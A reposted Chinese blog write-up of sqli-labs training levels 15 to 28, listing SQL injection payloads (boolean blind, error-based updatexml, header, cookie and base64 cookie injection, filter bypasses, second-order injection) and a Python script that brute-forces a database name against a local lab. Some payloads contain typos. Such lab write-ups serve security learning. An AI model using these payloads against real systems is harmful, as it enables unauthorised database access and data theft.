Sqli-labs靶场详解(二)

news2024/11/25 13:42:19

一.sqli-labs靶场(15~17)

15.less15

        第15关发现联合查询和报错注入无效,使用and探测时发现有两个页面,于是判断是盲注中的布尔盲注

猜解库名长度
'or (length(database()))=8-- gwe
利用ASCI码猜解当前数据库名称:
'or(ascii(substr(database(),1,1)))=115-- gwe返回正常,说明数据库名称第一位是s
'or (asci(substr(database(),2,1)))=101-- qwe 返回正常,说明数据库名称第二位是e猜表名:


'or (asci(substr((select table name from information_schema.tables where table_ schema=database()limit 0,1),1,1)))=101-- qwe 如果返回正常,说明数据库表名的第一个的第一位是e
猜字段名
'or (ascii(substr((select column name from information_schema.columns where table_ name='emails'limit 0,1),1,1)))=105-- qwe 如果返回正常,说明emails表中的列名称第一位是i

有以下python代码,修改data中子句即可查询结果

import requests

url = "http://127.0.0.1/sqli-labs-master/Less-15/index.php"

def database_py():
    name = ""
    for i in range(1 , 20):
        for j in range(32 , 129):
            data = {"Username" : "admin' and (ascii(substr(database(), %d , 1 ))) = %d# " % (i , j) , "Password" : "123456"}
            res = requests.post(url , data)
            if "flag.jpg" in res.text:
                name = name + chr(j)
                print(name)
                break
            else:
                continue
if __name__ == '__main__':
    database_py()

注:为什么第9关用的是and,这里要用or

看第9关源码

 如果用?id=1'and if (length(database())=8,sleep(5),1)-- qwe为例来看,完整的查询语句为

select * from user where id = '1'and if (length(database())=8,sleep(5),1)-- qwe' 

 id=1是成立的,所以没问题,如果用or,后面的子句同样不会执行

第15关源码

同样的语句

SELECT username, password FROM users WHERE username='' and if (length(database())=8,sleep(5),1)-- qwe' 

 这里就有一个关键性问题,and前面username="'是不成立的,这样后面的子句不会执行,也就是拿不到查询结果

16.less16

         这题和上面是一样的思路,都是经过post传参的自注,只是闭合的区别
猜解库名长度
") or (length(database()))=8 -- qwe
利用ASCI码猜解当前数据库名称:
")or (asci(substr(database(),1,1)))=115-- qwe 返回正常,说明数据库名称第一位是s
")or (ascii(substr(database(),2,1)))=101-- qwe 返回正常,说明数据库名称第二位是e
猜表名:
’) or (asci(substr((select table name from information_schema.tables where table_ schema=database()limit 0,1),1,1)))=101--qwe 如果返回正常,说明数据库表名的第一个的第一位是e
猜字段名
"or (ascii(substr((select column_name from information_schema.columns where table_ name='emails' limit 0,1),1,1))=105--qwe 如果返回正常,说明emails表中的列名称第一位是i

源码闭合不同,16关拼接了"",变量用()包裹

17.less17

        判断是否存在注入:'or 1=1--qwe
判断库名:'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- qwe
判断表名:'and updatexml(1,concat(0x7e,(select table name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- qwe
判断列名:'and updatexml(1,concat(0x7e,(select column name from information_schema.columns where table_schema='security' and table_name='emails' limit0.1).0x7e),1)-- qwe
判断数据:'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- qwe 

这里是报错注入,区别在于这里提示重置密码,那查询语句往密码放

二.sqli-labs靶场(18~22)

18.less18 

        第18关与之前套路完全不同,这里进来看到显示我们的IP地址

网站怎么会知道我们的IP地址嘞,这里就要知道一些关于网页的知识

User-Agent:浏览器的身份标识字符串
Referer:表示浏览器所访问的前一个页面,可以认为是之前访问页面的链接将浏览器带到了当前页面。
Accept:可接受的响应内容类型(Content-Types)。
X-Forwarded-For:可接受的响应内容类型(Content-Types)。
Date:可以用来表示HTTP请求端真实IP
发送该消息的日期和时间(以RFC 7231中定义的"HTTP日期"格式来发送)

打开源码查看拿取了user-agent头

SQL语句查询语句显示我们IP



那我们通过头注入,就可以把查询子句插入进去,怎么操作嘞
 判断库名:'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),1,1)-- qwe
判断表名:'and updatexml(1,concat(0x7e,(select table name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1),1,1)-- qwe
判断列名:'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit0,1),0x7e),1),1,1)-- qwe
判断数据:'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1),1,1)-- qwe

:这里语句与前面不同,可能觉得括号多了,还有为什么会多两个1

将查询语句与子句拼接发现两个1是为了满足MySQL-insert语法,后面的被注释掉了,括号是补齐前面的括号 

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (''and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),1,1)-- qwe', '$IP', $uname)

这里开始用到BurpSuite,学习一下安装软件

      BurpSuite超详细安装教程-功能概述-配置-使用教程---(附下载链接)_burpsuite下载安装-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/weixin_62808713/article/details/128719786?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522172310751616800188551874%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=172310751616800188551874&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~top_positive~default-1-128719786-null-null.nonecase&utm_term=burpsuite%E5%AE%89%E8%A3%85%E8%AF%A6%E7%BB%86%E6%95%99%E7%A8%8B&spm=1018.2226.3001.4450

装好软件后再装一个eage的代理插件

Microsoft Edge代理插件(管理切换代理) - 菜鸟-传奇 - 博客园 (cnblogs.com)icon-default.png?t=N7T8https://www.cnblogs.com/cainiao-chuanqi/p/15544446.html

这里发现怎么靶场的包抓不住,为什么嘞?还有就是开代理组件csdn写的保存不了,真是麻烦啊

随便点一个链接试试,能抓到啊

难不成用的小皮代理,抓不到,不可能啊,老师咋能行

说是要输正确的用户名和密码

我输啥都是错的,换了less17关也抓不到,为什么嘞?

老师讲的里面有查用户和密码的,倒回去看

这总是对的吧,先去试试

发现可以,这下是正确的吧,打开代理再抓包试试 

还是什么都没有,这是为什么?猜猜看啊,有意思

 代理端口不一样嘛?

看看

这里配了一个8080,可以抓到浏览器正常访问页面,那我们靶场是那个端口嘞

哈哈哈哈,为什么进度这么慢就是这样,总有些奇奇怪怪的问题,老师只要几秒,我花几个小时能解决就是万幸 

用这个嘛,看老师用这个,可是我8080端口和80端口都试了没用

到底是为什么我抓不到靶场的包嘞,查

试试这个

BurpSuite抓不到本地(127.0.0.1)靶场的包解决方法(超简单傻瓜教程)_burp拦不了127.0.0.1-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/2301_78482161/article/details/138004726

没用,垃圾,下一个

burp suite抓不到本地包127.0.0.1_burpsuite抓不到127.0.0.1-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/weixin_45951067/article/details/121160914

这个可以,抓到啦嘿嘿嘿

不要用127.0.0.1访问sql-labs靶场,用自己主机ip访问靶场,然后抓127.0.0.1的包就抓到啦

花了大概一个小时解决这个问题,一来就该查,不该自己琢磨,浪费了时间

我们继续学习,把子句插入user-agent头,报错注入拿到库名

19.less19

        19关区别在于劫持的信息不同,将查询子句放到合适位置,改好闭合即可

20.less20

         20题输入正确的账号密码后显示这一大坨

区别在哪里,20关注入点在cookie,把子句放在抓包cookie即可注入

21.less21

       21关注入点依然在cookie,但是将提交内容用base64进行了编码

只需要将子句编码即可

注;这里-- qwe经过base64编码后失去了注释功能,就算用#号编码也无效,直接and '1' = '1闭合掉后面单引号

SELECT * FROM users WHERE username=(''and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),1,1) and '1' = '1') LIMIT 0,1

22.less22

        这一题和前面做法一致,只是符号的区别
判断库名:admin "and updatexml(1,concat(0x7e,(SELECT database(),0x7e),1) and "1"="1
判断表名:"and updatexml(1,concat(0x7e,(select table name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1) and "1"="1
判断列名:"and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit0,1),0x7e),1)and "1"="1
判断数据:"and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)and "1"="1

三.sqli-labs靶场(23~25)

23.less23

        23关又来到get传参

判断是否存在注入:?id=1'and1=1-qwe
判断字段数:?id=1'order by 3--qwe
判断显错位:?id=10'union select 1,2,3-- qwe
判断库名:?id=10'union select 1,2,3-- qwe
判断表名:?id=10'union select 1,table_name,3 from information_schema.tables where table_ schema='security'-- qwe
判断列名:?id=10' union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='emails'-- qwe
判断数据:?id=10'union select 1,id,3 from emails-- qwe 

这里说qwe是错误的,也就是-- 注释没生效,换成#号也无效,查看源码

这里有个preg-replace函数,查一下发现注释会被替换生效不了,也就是做了过滤

注释生效不了 ,参考22关,用or ,and 闭合后面单引号

这里还是报错注入,子句一上就ok

24.less24

        24关涉及到sql2次注入

二次注入是通过与数据库服务器进行交互的过程再次进行注入

        先注册一个账号

为什么要注册这个账号嘞,查看源码下面三个都有一个函数mysql_real_escape_string

mysql_real_escape_string函数

突破点就在username上,修改密码

发现修改密码后,admin账号可以用刚刚改的密码登录了

为什么会这样,因为看似改的是admin'#的密码,实际上后面是闭合用得,改掉了admin的账号密码

25.less25

        25关进去发现是get传参,套路尝试

        注意看这里and不见了,说明可能被过滤掉了,查看源码and 和 or被替换掉了,i是不论大小写替换

 这里过滤了,直接使用等价逻辑符号

and = && = %26%26

or = || = %7c%7c

但是不能直接用在输入栏里,在URL栏里&&符号代表多个传参的作用,直接再次等价替换换成编码

注:这里要注意information中的or也会被过滤掉,因此子句可以等价替换,也可以info-----+ or + ------rmation ,加一个or给他替换.或者其他的方法.

四.sqli-labs靶场(26~28)

        26.less26

        26关来到,套路一试,发现有过滤,看源码

这里or ,and被替换,注释被替换都可以解决,出现的新的是什么嘞

\s会消掉所有空白,这个依然是等价替换用%a0或者%0a,或者用括号包裹起来

判断库名:'|| updatexml(1,concat(0x7e,(SELECT%a0database()),0x7e),1)|'1'='1
判断表名:'|| updatexml(1,concat(0x7e,(select (group_concat(table name)) from(infoorrmation schema.tables) where (table schema)='security'),0x7e),1 )| '1'='1
判断列名:'|| %a0updatexml(1,concat(0x7e,(select%a0column name%a0from%a0infoorrmation schema.columns%a0where%a0table_schema='security'%a0%26%26%a0table name='emails'%a0 limit %a00,1),0x7e),1)||'1'='1
判断数据:'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)|| '1'='1

27.less27

        27关直接看源码

过滤掉了更多的关键词,等价替换行不通,想办法替换就行,过滤全大写或全小写,子句直接大写+小写

28.less28

        直接看过滤规则,这里不区分大小写,该如何绕过

猜解库名长度
?id=1’) and (length(database()))=8%0a and('1')=('1
利用ASCII码猜解当前数据库名称:
?id=1')and (ascii(substr(database(),1,1)))=115%0aand('1')=('返回正常,说明数据库名称第一位是s?id=1')and (ascii(substr(database(),2,1)))=101%0aand('1')=('1返回正常,说明数据库名称第二位是e
猜表名:
?id=1’) and (ascii(substr((select%0atable name%0afrom%0ainformation schema.tables%0awhere%0atable schema=database()%0alimit%0a0,1),1,1)))=101%0aand('1')=('1如果返回正常,说明数据库表名的第一个的第一位是e
猜字段名
and (ascii(substr(select%0acolumn name%0afrom%0ainformation schema.columns%0awhere%0atable name='emails'%0alimit%0a0,1),1,1)))=105%0aand('1')=('1如果返回正常,说明emails表中的列名称第一位是i

直接用布尔盲注绕过这个,不用这几个函数就可以

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1995092.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux内核机制开发 - DEFINE_PER_CPU和DECLARE_PER_CPU

By: fulinux E-mail: fulinuxsina.com Blog: https://blog.csdn.net/fulinus 喜欢的盆友欢迎点赞和订阅! 你的喜欢就是我写作的动力! 目录 1. DEFINE_PER_CPU和DECLARE_PER_CPU1. 1. DEFINE_PER_CPU1.2. DECLARE_PER_CPU 2. 区别2.1. 定义与声明:2.2. 使…

mac专业图表绘制软件:OmniGraffle Pro for mac 激活版

OmniGraffle Pro for Mac 是一款功能强大的图表、流程图、快速页面布局、网站线框和图形设计绘制软件。它具备保持线条与形状连接的功能、有效的样式工具,以及简单易用的组织图表能力,能够快速帮助用户制作出色的图形文稿。OmniGraffle Pro 适用于制作从…

“绿色积分引领新风尚:‘我店‘平台重塑消费市场格局“

在数字化浪潮席卷全球的今天,消费市场正经历一场前所未有的深刻变革与重塑。传统商业模式在数字化的大潮中面临严峻挑战,而“我店”平台凭借其开创性的绿色积分体系,犹如破晓之光,照亮了行业前行的道路,迅速成为市场瞩…

visual studio 2019 以及 TwinCAT3 安装教程

环境: 系统:windows11系统,CPU:Inter I5 一.安装visual studio 这里安装版本不要太高,建议2019或者2017的profession就好。如果你电脑上已经有了一个更高的版本,也不用去卸载高版本再安装低版本&#…

电子纸打造智能、自动化、绿色的工作流程

电子纸打造智能、自动化、绿色的工作流程 RFID技术最早在1940年代问世,1980年开始商业化使用。直到现在RFID(无线射频识别)技术已经深入到我们生活的方方面面。特别是在工业生产、物流运输等领域,RFID技术发挥着越来越重要的作用…

达梦数据库:无法解析的成员访问表达式[GROUP_CONCAT]

目录 异常原因解决1、LISTAGG()(推荐)2、WM_CONCAT() 异常 原因 达梦数据库没有GROUP_CONCAT()函数 解决 1、LISTAGG()(推荐) 2、WM_CONCAT() Java结果集映射后,会是一个地址值

北斗三号5G遥测终端机系统在水库大坝安全监测应用

一、概述 我国现有水库大坝9.8万余座,是世界上拥有水库大坝最多的国家。这些水库大坝在防洪、发电、供水、灌溉等方面发挥巨大效益的同时,所存在的安全风险不容忽视。大坝安全监测是大坝安全管理的重要内容,是控制大坝风险的重要措施。大坝安…

java面向对象--继承(构造方法的访问特点)

一、引言 ( 简单介绍构造方法的特点) 在 Java 中,面向对象编程中的继承机制允许子类继承父类的属性和方法。当涉及到构造方法时,有一些特定的规则需要遵循。以下是在继承中构造方法访问的一些关键特点: 构造方法的访问特点1、构造…

Docker学习(6):Docker Compose部署案例

一、docker-compose部署mysql 1、准备镜像 2、编写my.cnf配置文件 # 服务端参数配置 [mysqld] usermysql # MySQL启动用户 default-storage-engineINNODB # 创建新表时将使用的默认存储引擎 character-set-serverutf8mb4 # 设置mysql服务端默认字符集…

【电控笔记z56】ADRC回路设计(与smo比较)

用在IPM ADRC 估测反电动势 参数变动 : 内部扰动 SMO : 有高频成分 需要低通滤波器滤去 - 需要补偿延迟 两轴同步旋转坐标下做adrc adrc适合去做变化速度比较低的扰动 ADRC : 估测高速变化的扰动 , 需要修改估测器 电机模型 Ld不等于Lq 式7如下蓝色框图 eso等效成一个纯积分…

基于zynq的图像视频数据采集处理项目一

基于zynq的图像视频数据采集处理项目一 文章目录 基于zynq的图像视频数据采集处理项目一1.整体的架构2.整体的时钟和复位设计3.详细方案设计3.1 ps端spi对摄像头的配置,数据的dvp口截断输入3.2 看手册对 IMX2221080P 模式图像解析3.3 拜耳图像格式转换为 RGB 图像3.…

两地三中心异地多活网络

基于阿里云洛神网络全球基础设施及云原生SDN技术,帮助企业客户在云上快速构建两地三中心跨域多活网络,保障企业核心业务在全球多地域的高品质互联。两地三中心多活网络解决方案提供了弹性、安全、高质量的网络能力,结合数据传输服务DTS轻松实…

下一个人工智能趋势令人恐惧

在技​​术进步的昏暗走廊中,我们站在悬崖边,凝视着广阔而难以预测的人工智能未来。 其进化过程中的每一次曲折都伴随着惊叹和恐惧的低语。当风吹过数字树木时,它讲述了各种可能性的故事,但在其歌声中交织着谨慎的音符。 下一个人…

C语言随机数小游戏

目录 前言 一、游戏要求: 二、游戏实现 1.游戏界面 2.游戏主体 3.主函数 4.运行结果: 总结 前言 前面我们学到了C语言随机数的相关知识,我们今天用这个知识做一个有趣的小游戏,会有一点函数的知识,不过后面会…

WPF中的图形对象

前言 在WPF中可以根据需要在前台绘制自己所需要的几何开状,可设置性很丰富,而且在xaml中很好的实时性,如果是设计时还可以考虑使用Blend for Visual Studio来添加元素,它的设计交互性更高。 1、形状基类Shape 为 Ellipse、Poly…

ATG(地空通信)

█ 到底什么是ATG? ATG,就是Air To Ground,空对地通信,也叫地空通信。 它是一种非常特殊的通信技术,专门为天上的飞机提供服务。 简单来说,就是沿着飞机的航线,设置大量的地面基站。基站天线…

Simulink函数如何绑定到状态

Simulink函数的绑定行为 当Simulink函数位于某个状态内时,该函数会绑定到该状态。绑定会导致以下行为: 函数调用只能在状态操作和状态及其子状态内的转换中发生。 当进入状态时,该功能启用。 当状态退出时,该功能被禁用。 例如&…

Mysql——一条SQL语句的执行流程

一、Mysql的体系结构 架构图: Mysql的体系结构主要分为以下几层: 1. Connectors 连接层:负责处理客户端的请求连接。 系统在访问Mysql的服务器之前会先与服务器建立TCP连接,连接成功后Mysql会对TCP传输过来的用户信息做权限验…

新型技术融合推动渲染技术的发展

随着计算机图形学的不断进步,渲染技术作为其核心组成部分,正经历着前所未有的变革与发展。在未来的几年中,AI、量子计算以及新型硬件技术的融合,将为渲染技术带来革命性的突破,进一步推动其在影视制作、游戏设计、建筑…

爬虫基础2

网页请求原理: 在浏览器上输入一个网址,计算机是不理解这个信息的,会向运营商服务器发送请求告知输入网址的IP地址,然后根据IP地址向对应的服务器发送请求,服务器就会返回一个HTML文件,浏览器会解析HTML文件,即我们看到的网页 根据层级关系来进行爬虫 在python里面相同的缩进表…